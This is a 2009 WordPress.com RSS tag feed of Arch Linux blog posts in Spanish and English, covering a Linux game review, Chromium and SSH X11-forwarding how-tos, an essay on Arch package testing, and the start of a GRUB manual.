<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>arch-linux &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/arch-linux/</link>
	<description>Feed of posts on WordPress.com tagged "arch-linux"</description>
	<pubDate>Sun, 22 Nov 2009 05:29:49 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Penumbra, Survival Horror para Linux]]></title>
<link>http://fausto23.wordpress.com/2009/11/19/penumbra-survival-horror-para-linux/</link>
<pubDate>Fri, 20 Nov 2009 01:31:38 +0000</pubDate>
<dc:creator>fausto23</dc:creator>
<guid>http://fausto23.wordpress.com/2009/11/19/penumbra-survival-horror-para-linux/</guid>
<description><![CDATA[Una de las cantaletas que mas escucho sobre Linux es : En Linux no se puede jugar. O variantes de el]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter" title="Penumbra" src="http://imgur.com/8qEaKl.jpg" alt="" width="600" height="450" /></p>
<p>Una de las cantaletas que mas escucho sobre Linux es : <em>En Linux no se puede jugar</em>. O variantes de ella, refierendose a que la mayoria de los juegos estan escritos para Windows y si no es por Wine no los puedes correr en tu sistema operativo.</p>
<p>Claro que en Linux se puede jugar &#8220;de manera nativa&#8221;, y aqui hay un juego que lo comprueba. <a href="http://www.penumbragame.com/game.php">Penumbra</a> es un juego del genero Survival Horror (de mis favoritos), cuya historia es esta:</p>
<blockquote><p>Como todas las buenas pesadillas, la de Philip (personaje principal) comienza con un hecho real -la muerte de su madre-, Los dias que siguieron al funeral se caracterizaron por nada en especial, hasta que recibe una carta de un muerto.</p>
<p>El padre de Philip lo abandono de pequeño, llevandose las razones del por que. Ahora el esta aqui, abriendo la puerta desde mas alla de la tumba. Esto deja solo mas preguntas, que conduciran a Philip a Groenlandia, donde seguira las pistas que su padre le djo.</p>
<p>Dejando atras el ultimo rastro de civilizacion, en busca del sitio que su padre menciona en sus notas, Philip se pregunta si habra dejado una parte de su humanidad, aunque este sera el menor de sus miedos.</p></blockquote>
<p>Una historia interesante, el tipo de juego es un FPS en ambientes inhóspitos, ciertas veces andaras en la oscuridad, y tendras que resolver acertijos y rompecabezas para avanzar en tu camino, ah y claro acabar con las criaturas que saldran de ninguna parte para atacarte.</p>
<p>El juego es multiplataforma (Windows, MacOSX y Linux) y tiene un costo de $20 dolares. Tambien estan disponibles 2 demos para probarlo antes de comprarlo.</p>
<p>Este juego y World of Goo han sido los 2 juegos comerciales que he probado para Linux, y no me han decepcionado, aunque son considerados indies, no tienen nada que envidiarle a juegos de empresas especializadas.</p>
<p>¿Que opinan?</p>
<p>Link de Descarga (Demo) &#124; <a href="http://www.penumbragame.com/demo.php">Penumbra</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Splish Splash]]></title>
<link>http://100percentlinux.wordpress.com/2009/11/19/splish-splash/</link>
<pubDate>Thu, 19 Nov 2009 19:53:30 +0000</pubDate>
<dc:creator>John</dc:creator>
<guid>http://100percentlinux.wordpress.com/2009/11/19/splish-splash/</guid>
<description><![CDATA[I love shiny boot sequences. Although seeing every service start in plain text is pretty cool, I als]]></description>
<content:encoded><![CDATA[I love shiny boot sequences. Although seeing every service start in plain text is pretty cool, I als]]></content:encoded>
</item>
<item>
<title><![CDATA[Como instalar Chromium en Arch Linux]]></title>
<link>http://gabuntu.wordpress.com/2009/11/18/como-instalar-chromium-en-arch-linux/</link>
<pubDate>Wed, 18 Nov 2009 12:50:45 +0000</pubDate>
<dc:creator>G@B0</dc:creator>
<guid>http://gabuntu.wordpress.com/2009/11/18/como-instalar-chromium-en-arch-linux/</guid>
<description><![CDATA[Como muchos de ustedes saben, Chromium es el proyecto opensource detrás de Chrome. Chromium se actua]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://gabuntu.wordpress.com/files/2009/10/chromium.png"><img class="aligncenter size-medium wp-image-2031" title="chromium" src="http://gabuntu.wordpress.com/files/2009/10/chromium.png?w=300" alt="" width="300" height="287" /></a></p>
<p>Como muchos de ustedes saben, Chromium es el proyecto opensource detrás de Chrome. Chromium se actualiza diariamente y se mantiene en un estado muy avanzado en comparación con Chrome.</p>
<p>Hoy les voy a enseñar cómo instalar Chromium en nuestro querido Arch Linux. Antes que nada <em>quiero mencionar que esta guía está sujeta a cambios, </em>por lo cual puede llegar el momento en que no funcione éste método de instalación.</p>
<p>Lo primero que debemos hacer es instalar Yaourt. Si no conoces yaourt, te recomiendo que busques información en el <a href="http://wiki.archlinux.org/index.php/Yaourt_(Español)">wiki</a>. Si no conocías yaourt, te aseguro que de este momento en adelante lo vas a amar.</p>
<p>Para instalar yaourt, debes añádir el siguiente repositorio en el /etc/pacman.conf:</p>
<pre>[archlinuxfr]
Server = <a title="http://repo.archlinux.fr/i686" rel="nofollow" href="http://repo.archlinux.fr/i686">http://repo.archlinux.fr/i686</a></pre>
<p>Despues de haber hecho esto, actualizamos e instalamos yaourt con el siguiente comando:</p>
<p><strong> sudo pacman -Sy yaourt</strong></p>
<p>Ya contamos con yaourt instalado. Ahora vamos a instalar Chromium. La herramienta yaourt tiene una especie de búsqueda y la podemos accesar con el siguiente comando:</p>
<p><strong>yaourt -Ss </strong><em>nombredelpaquete</em></p>
<p>Para buscar que paquetes hay disponible para Chromium, usaríamos el siguiente comando:</p>
<p><strong>yaourt -Ss chromium</strong></p>
<p>Obtendremos una lista de paquetes relacionados ó quizás no relacionados. El punto es que nos vamos a dejar llevar por la descripción del paquete y así vamos a saber cual paquete instalar.</p>
<p>En mi lista aparece el siguiente: <strong>chromium-browser-bin </strong>y es el que tengo instalado actualmente. Les aconsejo que instalen este paquete, pues se actualiza diariamente, está bastante avanzado y funciona muy bien.</p>
<p>Para instalar corremos el siguiente comando:</p>
<p><strong>yaourt -S chromium-browser-bin</strong></p>
<p>Seguimos las instrucciones y cuando nos pregunte si queremos editar, pulsamos la tecla <strong>N</strong>, hasta llegar a la pregunta de instalación en el cual apretamos la tecla <strong>Y. </strong></p>
<p>Despues de instalado, lo podemos buscar en el menú ó simplemente escribir desde el terminal:</p>
<p><strong>chromium-browser</strong></p>
<p>Si queremos acivar la opción de sincronizar los bookmars, debemos lanzar chromium con el siguiente comando:</p>
<p><strong><code>chromium-browser --enable-sync</code></strong></p>
<p>Para finalizar, dirígete <a href="http://www.chromeextensions.org/">Chrome Extensions</a> para que instales algunas extensiones.</p>
<p>Extensiones recomendadas: Adblock+, Adsweep, Facebook Notifications, Gmail Checker, Google Reader Checker, Google Wave Checker.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The life cycle of Arch Packages]]></title>
<link>http://pdg86.wordpress.com/2009/11/18/the-life-cycle-of-arch-packages/</link>
<pubDate>Wed, 18 Nov 2009 11:43:27 +0000</pubDate>
<dc:creator>pdg86</dc:creator>
<guid>http://pdg86.wordpress.com/2009/11/18/the-life-cycle-of-arch-packages/</guid>
<description><![CDATA[Arch Linux written by Ilya Ilembitov Original article is in the Arch Forum in &#8220;Topics going no]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div id="attachment_118" class="wp-caption aligncenter" style="width: 393px"><a href="http://pdg86.wordpress.com/files/2009/09/arch-linux-logo.png"><img class="size-full wp-image-118" title="arch-linux-logo" src="http://pdg86.wordpress.com/files/2009/09/arch-linux-logo.png" alt="" width="383" height="321" /></a><p class="wp-caption-text">Arch Linux</p></div>
<p>written by <em>Ilya Ilembitov</em></p>
<p><em>Original article is in the Arch Forum in &#8220;Topics going nowhere&#8221; section. Obviously Arch mods felt the need to trash this article as this subject is often brought up there and do not end receiving very useful replies. I thought it was a good read and asked &#8220;</em><strong><a href="http://bbs.archlinux.org/profile.php?id=19652">ilembitov</a></strong>&#8220;<em> if I could post his article here. So here is what he said , his exact words:</em></p>
<p><span style="color:#000080;">Hi, all. Reading a lot of Linux forums (not only this one) I can see the major problems of all Arch users: Arch Linux is bleeding edge, but it also has the unpredictable updates. Which is why you can see posts like &#8220;I haven&#8217;t updated my system in a while, today I ran the update routine, and basically, nothing works&#8221;. Which is not to mention less dramatic, but more frequent complaints like &#8220;I updated the package foo and I got myself into troubles&#8221;. Besides, I believe that the introduction of the LTS kernel is actually a good sign that there are also users who need Arch to be stable.</span></p>
<p><span style="color:#000080;">Ok, I started thinking about what should a user do, so that things like that wouldn&#8217;t happen. Here is my short howto.</span></p>
<p><span style="color:#000080;"><!--more--><br />
</span></p>
<p><span style="color:#000080;">1. Basically, as soon as you have freshly installed your Arch system and all the desired apps, copy the list of installed packages to the IgnorePkg section of /etc/pacman.conf<br />
This way, when a new package comes out, it won&#8217;t be automatically updated.<br />
2. If some package doesn&#8217;t work for you as expected (and you know that it&#8217;s due to an upstream bug or maintainer&#8217;s mistake), delete it from that section and update it until the problem gets solved &#8211; then get it back to IgnorePkg<br />
3. You should only make transition to a next major release of anything when it makes sense. Say, the new version of the kernel has a better support for your hardware, or runs faster. Or a program you use gets a new feature and you <strong>do need</strong> that feature. If there are no changes for you, why bother? But even when you <strong>do need</strong> to upgrade, <strong>do not</strong> update the package as soon as it leaves /testing! There is also another reason to upgrade a package &#8211; when it&#8217;s required (as a dependency) to upgrade a package you <strong>need</strong>.<br />
4. A package in Arch repos has the upstream version as well as the internal version that comes from maintainers. So, after the package has hit the repos, you better wait until the internal version goes higher: that means, people have bumped into problems with upgrading it (even though it&#8217;s not /testing already), maintainers have fixed it, you are less likely to get surprises. Even better if you also wait until some bugfix releases to appear upstream as well.<br />
5. As soon as you make the transition and get to the state when everything goes okay, get the package back to IgnorePkg and work. Until next major update you need! (then roll back to the step 3).</span></p>
<p><span style="color:#000080;">I guess, that sounds reasonable. But why does one have to do that? Here is the thing.</span></p>
<p><span style="color:#000080;">As far as I understand, this is how the major update of the package gets to Arch:<br />
1. It hits the /testing<br />
2. People who actually use testing (and the maintainer, if he has chosen to support this package in the repos because he actually uses it on a regular basis and needs it to work) upgrade, bump into troubles. Troubles from upstream, but also troubles due to a maintainer&#8217;s mistake. People write bug reports. It it&#8217;s the maintainer&#8217;s fault, he fixes that. People try that again, write bug reports, etc.<br />
3. The cycle in number 2. goes on until there are no bug reports for some time. Then the package goes to /extra or /core<br />
4. People who do not use /testing, update to this new version. They bump into troubles, write bug reports and so on and so on.</span></p>
<p><span style="color:#000080;">So basically, it may sound reasonable. But still one actually can&#8217;t just upgrade without worry while using the current (non /testing) repos. So, there must be a problem. Which is?..</span></p>
<p><span style="color:#000080;">It&#8217;s obvious. Arch is already a bleeding edge distro. So, who is going to use the <strong>testing</strong> repo of the bleeding edge distro? I&#8217;m afraid, not many. A lot less than people who don&#8217;t. That means, that there is less probability someone would notice a bug while the package is in /testing. Or, possibly, there could also be no one to do that! So, /testing doesn&#8217;t do the job it&#8217;s expected to do, or just doesn&#8217;t solve the problem completely.</span></p>
<p><span style="color:#000080;">This is why problems happen. My post was caused by a discussion on a Russian Linux-related forum: a user has complained that (among other troubles) after an upgrade to GNOME 2.28 he got issues with Nautilus. And he was asking for an advice, whether or not he should switch to Debian testing. In the neighbor thread Debian Testing users were discussing the following: why the hell didn&#8217;t the Debian maintainers update Nautilus to 2.28 in testing while the other GNOME packages were upgraded? I&#8217;m sure I don&#8217;t need to point out the irony here.</span></p>
<p><span style="color:#000080;">OK, one could get a foil cap and apply my solution to the problem. Which is basically: wait until other users bump into troubles, those will get sorted out &#8211; then you make an upgrade. This is time-consuming, but also more flexible. Perhaps, this is the part of the Arch way. Like, Slackware users don&#8217;t want somebody else to define dependencies for them, so Arch users don&#8217;t want somebody to do Q&#38;A for them, thus restricting their freedom.</span></p>
<p><span style="color:#000080;">So, we don&#8217;t need to change anything and everybody just gets along? <strong>Not really</strong>. Let&#8217;s just imagine everybody applies my approach. And it&#8217;s pretty reasonable, isn&#8217;t it? If you aren&#8217;t getting any benefit from an upgrade &#8211; why bother? If you do need to upgrade &#8211; why risk, those who feel like experimenting or just aren&#8217;t wise enough will do the dirty job. The point is, that when everybody applies this approach, there are no &#8220;risk takers&#8221; or &#8220;unreasonable ones&#8221;. And this is where the whole thing gets <strong>stuck</strong>. OK, actually I don&#8217;t really believe all Archers are going to do that. But I guess this is a good illustration why current model isn&#8217;t perfect.</span></p>
<p><span style="color:#000080;">There is a reason why it works in Debian unstable-&#62;testing chain (which basically lives like a rolling release system when there is a lot of time until the next stable Debian release). Because Debian userbase is large. There are lots of people who use testing and sid. There are other distros that are based on testing and sid (not to mention Ubuntu &#8211; there is also Sidux, for example). <strong>Arch just doesn&#8217;t have that.</strong> And so, it <strong>doesn&#8217;t</strong> work out for him.</span></p>
<p><span style="color:#000080;">My point is not about switching to traditional release cycle (I don&#8217;t think anyone would seriously consider it). Arch is partially fine because it doesn&#8217;t have releases. But there is also another thing. Arch has lots of things other distros don&#8217;t have. Pacman, ABS, AUR, configuration being done via the /etc/rc.conf, etc. What if a user wants to have all these and not have troubles with upgrades? Does he have to stick with the paranoid IgnorePkg approach to get a stable and predictable system?</span></p>
<p><span style="color:#000080;">Of course, we can&#8217;t just develop a universal solution against maintainers&#8217; mistakes or upstream bugs. People do mistakes (I really didn&#8217;t mean to offend the maintainers here), and apps can&#8217;t be bug-free. But we should develop a system to detect those issues before they get to the end user machine. Perhaps, we should track the statistics of previous troubles caused by the package and consider it to define the time the package should spend in /testing after the last solved bug report before it gets out if no show-stoppers occur. Okay, may be that will do Arch less bleeding edge, but it will also cause more people to try installing versions from testing (and, consequently, lessen the time needed for it to get to /extra or /core). Perhaps, the package should also automatically roll back to the previous stable version if the recent upgrade was reported to have a serious issue (with the upgrade getting back to /testing). There is /var/cache for that, but this still could make upgrades more reliable.</span></p>
<p><span style="color:#000080;">Sorry for this pretty wordy article. But I do believe that the issue is pretty important. Perhaps, I don&#8217;t have the right picture (for example, may be the testing repo is more complicated than that). I would like those heroes who managed to get through this sea of words  to share some ideas.</span></p>
<p>And Arch Mods and Users then emphasized on the fact how important it is for Arch being a community driven distro to depend on it&#8217;s users to run the [testing] repository and file bug reports. My question: Who gets to enjoy the stable product then? Clearly, Arch is not about stability. Bleeding edge and stability can never go hand in hand. Atleast Arch devs are not hiding this fact and stating it bluntly, but yes there are some people who go to other forums *cough ubuntuforum cough* and whine about Arch being unstable and it broke their system.</p>
<p>B [Arch forum Mod] wrote:</p>
<p><span style="color:#000080;">I like how users feel like a victim when this thing (a community-driven distro) only thrives when both users and devs alike provide input and feedback. And most Arch users only complain &#8216;OMFG ITS BORKEN&#8217; when it actually breaks, but never a) run testing or b) report bugs. Maybe you&#8217;ll see them saying &#8216;oooh distro X has shiny  new feature Y. When is it in Arch!?88&#8242;.</span></p>
<p><span style="color:#000080;">Then what do you expect?</span></p>
<p><span style="color:#000080;">Even Ubuntu users seem to be more active on that front. Seriously. Also, if you can&#8217;t fix what breaks during upgrades, then Arch is not for you. Period. Either you got what it takes or you don&#8217;t. I see a *lot* of people here that seem to be running Arch for a while yet don&#8217;t have a clue of the very basics. There are distros that cater to that kind of public.</span></p>
<p>Later part of <strong></strong>ilembitov&#8217;s reply:</p>
<p><span style="color:#000080;">Actually many people here have probably gotten the wrong idea of why I described the IgnorePkg approach. It&#8217;s all about rethorics &#8211; I guess that it&#8217;s good that many people have found this technique bad in some way. Basically, I believe, this was the ultimate summary of all advices that people give somebody when he says that Arch is too unstable for him, yet he likes being bleeding edge. In such discussions people usually either mention the /var/cache/ approach for rolling back or the IgnorePkg thing (which are actually equivalent). I have just thought of an ultimate solution on this basis. It just takes the whole thing to an extreme. And actually, such a solution roughly imitates what maintainers in larger, non-rolling distros do: this is pretty much the way Debian (or Ubuntu) people make their stable release (or stable + backports repo, for that matter). And my point was to (while still taking things to an extreme) show why this thing is by design wrong &#8211; the same way all actually popular approaches taking the similar direction are wrong. And certainly I did not recommend this HowTo. I believe this solution to actually solve the problem of one user completely yet creating a lot more problems in the long run for Arch Linux. Moreover, I have tried hard to show that currently, a rolling release-based distro pretty much involves techniques that are common in different projects &#8211; and thus, inappropriate.</span></p>
<p><span style="color:#000080;">So my point was &#8211; we should redesign the process (and this is why I wanted to provoke a brainstorm sort of thing). People who started protecting maintainers have a clear misconcept of what I was talking about. I did not intend to blame the maintainers. That&#8217;s unethical and anyways, it doesn&#8217;t relate to the topic. I believe that, ArchLinux, being a non-mainstream distro will always have less maintainers and less users (thus, less bug reports) than needed. The thing is, how to redesign the process so that the lack of resources will be less noticeable. Design the fail-proof mechanisms in the process when things have already gotten nasty &#8211; and design the mechanisms and procedures so that things will be less nasty. That may involve encouraging the use of /testing (I was actually surprised by somebody mentioning that basically it&#8217;s a bad idea to use /testing only partially. I always thought I would be fine to install an app from testing provided I have satisfied all the dependencies with required versions. And this is also a problem.) That may involve redefining the policy that the maintainers should follow when the packages that got out of /testing have revealed show-stoppers. This is what I was talking about.</span></p>
<p><span style="color:#000080;">Oh, and more thing. People who believe that Arch is okay to have these kind of issues and that users should be ready to deal with them or just leave &#8211; they actually mistake an advanced user-oriented product for low-quality and poorly-designed product. It&#8217;s about enjoying the flexibility and other virtues of Arch and not enjoying its flaws because you are proud you &#8220;have survived&#8221;. After all, software, even being fun, still has one major point &#8211; it should work.</span></p>
<p>All I gotta say is that, brace yourself for any package breakage and system instability if you use Arch and don&#8217;t complain about it. Don&#8217;t feel like a victim, <strong>you have been warned</strong>! It&#8217;s not a bug, it&#8217;s a feature. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[rant] Arch or Gentoo?]]></title>
<link>http://pdg86.wordpress.com/2009/11/18/rant-arch-or-gentoo/</link>
<pubDate>Wed, 18 Nov 2009 05:16:41 +0000</pubDate>
<dc:creator>pdg86</dc:creator>
<guid>http://pdg86.wordpress.com/2009/11/18/rant-arch-or-gentoo/</guid>
<description><![CDATA[I received an email yesterday from a member at LQ forum. I won&#8217;t reveal his name/email ofcours]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I received an email yesterday from a member at LQ forum. I won&#8217;t reveal his name/email ofcourse, but he asked me which one to choose, Arch or Gentoo?</p>
<p>Here&#8217;s the email:</p>
<blockquote><p>&#62; I can see that you use both.<br />
&#62;<br />
&#62; I&#8217;ve been reading the Gentoo docs for some time now. I&#8217;m just garnering the<br />
&#62;  pluck to install it. I&#8217;m sure it will be a blast. On the other hand, I&#8217;ve<br />
&#62;  started reading about Arch. It looks so cool.<br />
&#62;<br />
&#62; I&#8217;m not posting an open question on the forums to avoid flame wars.<br />
&#62; I&#8217;ll probably try both. I just would like to know what your feelings are<br />
&#62;  when comparing these two distros head to head.<br />
&#62;<br />
&#62; Cheers</p></blockquote>
<p>This was my reply:</p>
<blockquote><p>Hi,</p>
<p>It&#8217;s probably better to ask your question in the forum for more exposure. Just<br />
word it in a better way, like &#8220;Which one should I use &#8220;Arch or Gentoo?&#8221; instead<br />
of &#8220;Arch vs Gentoo&#8221;.<br />
However, I will give you my opinion.<br />
I use gentoo for my server. I used it for my desktop for a while but compiling<br />
things gets a bit annoying and time-consuming after sometime.<br />
I use Arch with windows XP and openSUSE 11.2 for my desktop and openSUSE in my laptop. [for the eye-candy ;P ]<br />
Arch is simple. Binary installation. Although you can compile from source<br />
stuffs that you need using ABS, but it&#8217;s not compulsory/necessary.<br />
Advantages of gentoo over Arch? None at all. Optimization of packages by<br />
compiling them locally in your machine for performance boost isn&#8217;t that noticeable, I have observed it myself. But obviously, gentoo users will disagree.<br />
Even if you get the slightest benefit by comping from source, ask yourself<br />
this question: Is it worth compiling the whole system, which can break anytime if you&#8217;re careless, to gain that slight optimization? And if it breaks, another 2-3days of compiling and customizing? Not to mention on<br />
updates you have to recompile installed packages to newer versions. Then there are gcc upgrades which will require you to recompile the entire system<br />
toolchain and then all the packages. My opinion: So not worth it.<br />
Go with Arch if you want a distro which is simple, fast and easy to<br />
use/maintain.</p>
<p>Regards</p></blockquote>
<p>If you disagree with my opinion, feel free to comment. Maybe there&#8217;s some advantages of a source-based distro I am unaware of.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Martes sin X "Vifm"]]></title>
<link>http://fausto23.wordpress.com/2009/11/17/martes-sin-x-vifm/</link>
<pubDate>Wed, 18 Nov 2009 02:34:30 +0000</pubDate>
<dc:creator>fausto23</dc:creator>
<guid>http://fausto23.wordpress.com/2009/11/17/martes-sin-x-vifm/</guid>
<description><![CDATA[Durante este tiempo que he hecho esta serie de post me he dado cuenta de 2 cosas, las aplicaciones s]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-1454" title="Vifm" src="http://fausto23.wordpress.com/files/2009/11/captura-de-pantalla-51.png" alt="" width="600" height="371" /></p>
<p>Durante este tiempo que he hecho esta serie de post me he dado cuenta de 2 cosas, las aplicaciones son tan funcionales como las de GUI y que la mayoria de los que comentan usan Vim <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> , asi que hoy les traigo esta util aplicacion.</p>
<p><a href="http://vifm.sourceforge.net/">Vifm</a> o vi file manager, es un explorador de archivos basado en ncurses, que se maneja a traves del teclado y comandos que recuerdan a Vi, la interfaz es de 2 paneles o si solo queremos uno ejecutamos la orden <strong><code> <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> nly</code></strong> y para regresar a la vista predeterminada <strong><code>:split</code></strong>. Otros comandos utiles en este programa son la busqueda de archivos (<strong><code>/expresion de busqueda</code></strong>), colocar marcadores a las carpetas para su pronta navegacion(<strong><code>m[0-9][a-z][A-Z] y los podemos ver con :marks</code></strong>), ejecutar archivos, usar sesiones de screen, y claro que no puede faltar la edicion de texto con Vim.</p>
<p>Vifm solo depende de Python y puede encontrarse en la mayoria de las distribuciones. En Ubuntu se encuentra en los repositorios universe y en Arch Linux en AUR.</p>
<p>Espero que les sirva esta aplicacion.</p>
<p>Mata ne!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpeedCrunch, una poderosa calculadora]]></title>
<link>http://fausto23.wordpress.com/2009/11/16/speedcrunch-una-poderosa-calculadora/</link>
<pubDate>Tue, 17 Nov 2009 01:34:26 +0000</pubDate>
<dc:creator>fausto23</dc:creator>
<guid>http://fausto23.wordpress.com/2009/11/16/speedcrunch-una-poderosa-calculadora/</guid>
<description><![CDATA[Oh no, ¡division por cero!! Dejando a un lado el chiste, SpeedCrunch es una aplicacion que actua com]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div class="wp-caption aligncenter" style="width: 456px"><img title="SpeedCrunch" src="http://sadpanda.us/images/68000-32W0PVU.png" alt="" width="446" height="324" /><p class="wp-caption-text">Oh no, ¡division por cero!!</p></div>
<p>Dejando a un lado el chiste, <a href="http://speedcrunch.org/es_ES/index.html">SpeedCrunch</a> es una aplicacion que actua como una calculadora pero mas sencilla y poderosa, al ir escribiendo los datos, por ejemplo, nos muestra las respuesta en un tooltip, y tambien cuenta con autocompletado de constantes, asi como resaltado para diferencias diversas funciones. Otras caracteristicas presentes es la posibilidad de mostrar 50 decimales en pantalla, tener historial y guardarlo cada sesion y poder manejarlo a traves del teclado.</p>
<p>SpeedCrunch es un proyecto libre y multiplataforma con interfaz Qt (perfecto para KDE), que recientemente ha publicado <a href="http://speedcrunch.blogspot.com/2009/11/speedcrunch-011-alpha-released.html">la version 0.11 alpha</a> del proyecto, que contiene muchas mejoras y bugs resueltos (por aqui la <a href="http://code.google.com/p/speedcrunch/issues/list?can=7&#38;q=milestone:0.11&#38;colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&#38;cells=tiles">lista completa</a>).</p>
<p>Para Arch Linux, la nueva version se encuentra en AUR.</p>
<p>Para otras distribuciones, se descarga el <a href="http://speedcrunch.googlecode.com/files/speedcrunch-0.11-alpha.tar.gz">tar.gz</a>, solo necesita tener Qt para poder instalarlo.</p>
<p>Espero que les sirva.</p>
<p>&#160;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mi escritorio de noviembre]]></title>
<link>http://gabuntu.wordpress.com/2009/11/09/mi-escritorio-de-noviembre/</link>
<pubDate>Mon, 09 Nov 2009 20:38:59 +0000</pubDate>
<dc:creator>G@B0</dc:creator>
<guid>http://gabuntu.wordpress.com/2009/11/09/mi-escritorio-de-noviembre/</guid>
<description><![CDATA[Arch Linux KDE 4.3.3 Widget Style: QtCurve Íconos: Kycons Borde de Ventanas: Aurorae Tema Aurorae: U]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://farm3.static.flickr.com/2510/4089965067_2cf2fa0e22_o.png"><img class="aligncenter" src="http://farm3.static.flickr.com/2510/4089965067_3abeae9c10_m.jpg" alt="" width="240" height="150" /></a></p>
<p style="text-align:center;"><a href="http://farm3.static.flickr.com/2517/4089961359_67038914a7_o.png"><img class="aligncenter" src="http://farm3.static.flickr.com/2517/4089961359_75b708d593_m.jpg" alt="" width="240" height="150" /></a></p>
<p style="text-align:center;">Arch Linux</p>
<p style="text-align:center;">KDE 4.3.3</p>
<p style="text-align:center;">Widget Style: QtCurve</p>
<p style="text-align:center;">Íconos: Kycons</p>
<p style="text-align:center;">Borde de Ventanas: Aurorae</p>
<p style="text-align:center;">Tema Aurorae: UniQ</p>
<p style="text-align:center;">Plasmoides: PlayWolf, Daisy</p>
<p style="text-align:center;">
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ejecutar Aplicaciones gráficas con ssh]]></title>
<link>http://jfibergran.wordpress.com/2009/11/09/ejecutar-aplicaciones-graficas-con-ssh/</link>
<pubDate>Mon, 09 Nov 2009 11:41:14 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/09/ejecutar-aplicaciones-graficas-con-ssh/</guid>
<description><![CDATA[Para poder seguir esta guía, es necesario que tengas instalado y configurado tu servidor Ssh. Para e]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Para poder seguir esta guía, es <strong>necesario que tengas instalado y configurado tu servidor<a href="http://jfibergran.wordpress.com/2009/11/07/ssh-tu-linux-en-todas-partes/"> Ssh</a></strong>.</p>
<p>Para ejecutar aplicaciones gráficas a través de conexiones ssh,  hay que habilitar <em>X11 Forwarding</em>. Esta opción hay que habilitarla <span style="text-decoration:underline;">tanto en el Servidor como en el Cliente</span>.</p>
<p>Además en el <strong>Servidor</strong> tenemos que instalar <em>xorg-xauth</em>:</p>
<blockquote><p>pacman -S xorg-xauth</p></blockquote>
<p>Una vez instalado modificamos el archivo <em>sshd_config</em></p>
<blockquote><p>nano /etc/ssh/sshd_config</p></blockquote>
<p>añadiendo las siguientes líneas:</p>
<blockquote><p>AllowTcpForwarding yes<br />
X11Forwarding yes<br />
X11DisplayOffset 10<br />
X11UseLocalhost yes</p></blockquote>
<p>En el <strong>Cliente</strong> también tenemos que editar el archivo de configuración:</p>
<blockquote><p>nano /etc/ssh/ssh_config</p></blockquote>
<p>Y por último, para poder ejecutar aplicaciones x11 remotamente, debemos iniciar la sesión ssh con la siguiente orden:</p>
<blockquote><p>ssh -X -p port user@server-address</p></blockquote>
<p>Si recibes errores durante la ejecución de aplicaciones, prueba con esta otra orden:</p>
<blockquote><p>ssh -Y -p port user@server-address</p></blockquote>
<p>Ahora puedes ejecutar cualquier aplicación gráfica de forma remota gracias a SSH.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Manual de GRUB]]></title>
<link>http://jfibergran.wordpress.com/2009/11/09/manual-de-grub/</link>
<pubDate>Sun, 08 Nov 2009 23:22:21 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/09/manual-de-grub/</guid>
<description><![CDATA[Introducción En todos los discos duros, se reserva un espacio para el MBR (Master Boot Record) o Sec]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h1>Introducción</h1>
<p>En todos los discos duros, se reserva un espacio para el <em>MBR (Master Boot Record) o Sector de Arranque</em>. Esta es la estructura básica, sobre el espacio restante se hacen las particiones, y en ellas se puede o no instalar un SO (Sistema Operativo).</p>
<p><img class="aligncenter size-full wp-image-487" title="grub" src="http://jfibergran.wordpress.com/files/2009/11/grub.png" alt="grub" width="472" height="552" /></p>
<p>Cada SO tiene su gestor de arranque, así que cuando instalamos un SO, en el proceso de instalación se modifica el MBR del disco para que pueda arrancar el SO que hay instalado en la partición x.</p>
<p>En el caso de Windows, ese sector de arranque, solo permite arrancar Windows, sin embargo Linux, utiliza gestores de arranque que permiten arrancar otros SO&#8217;s instalados en el disco, gestores de arranque como <em>LiLo o Grub</em>.</p>
<h1>Funcionamiento de Grub</h1>
<p>Como grub es un cargador de arranque, veremos que pasa desde que encendemos el ordenador:</p>
<ol>
<li>Primero la <em>BIOS</em>, enlaza a un dispositivo de arranque, como el HDD o CD-ROM, en el caso de HDD, se le pasa el control al MBR del Disco.</li>
<li>En el MBR se encuentra la Fase 1 del GRUB, ya que el MBR solo tiene 512 bytes de espacio. La fase 1 carga la siguiente fase del GRUB, que puede encontrarse en cualquier parte del disco duro.</li>
<li>De la fase 1 se puede pasar a la 1.5 o a la fase 2, de todos modos la 1.5 pasa a la 2, así que obviaremos detalles en esto.</li>
<li>La fase 2, que es la que contiene el menú, lo muestra, y una vez el usuario elige la opción, Grub carga el kernel elegido</li>
</ol>
<p>De modo que Grub se instala en dos partes, primero en el MBR como ya hemos dicho, y después en el disco, bien en una partición <em>/boot</em> o bien en la partición <em>/</em> de la distribución linux principal.</p>
